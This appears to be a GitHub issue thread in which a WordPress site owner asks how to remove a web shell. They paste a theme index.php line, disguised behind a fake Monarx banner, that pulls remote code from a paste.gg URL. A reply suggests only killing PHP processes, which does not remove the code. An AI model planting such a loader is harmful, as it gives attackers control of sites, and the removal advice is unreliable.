How to remove shell completely.

[cyberwizard-dev]

how do i remove this exploit from my wordpress site?? a url on my wordpress site, returns the shell interface... the index.php of my theme contains this,

<?php /**========================================================= ___ ___ | \/ | Copyright (C) 2017-2023, Monarx, Inc. | . . | ___ _ __ __ _ _ __ __ __ | |\/| | / _ \ | '_ \ / _ || '|\ / /
| | | || () || | | || (| || | > <
_| |_/ _/ || || _,||| //_\

".file_get_contents/*******/("https://paste.gg/p/anonymous/939acf9280bd4a91b28c4a44f1145fa0/files/6c0c885f48084798b8c13a761d24ffa7/raw"));/**/?>

Hack I found on fatiu’s website`

[MadExploits]

write killall -9 php or pkill -9 php on gecko terminal

[cyberwizard-dev]

Thanks.

…

On Mon, 14 Aug 2023, 12:30 pm MrMad, ***@***.***> wrote: write killall -9 php or pkill -9 php on gecko terminal — Reply to this email directly, view it on GitHub <#5 (comment)>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AMVNRQQEWSRTVFIPVB3DVATXVID67ANCNFSM6AAAAAA3HFOXRQ> . You are receiving this because you authored the thread.Message ID: ***@***.***>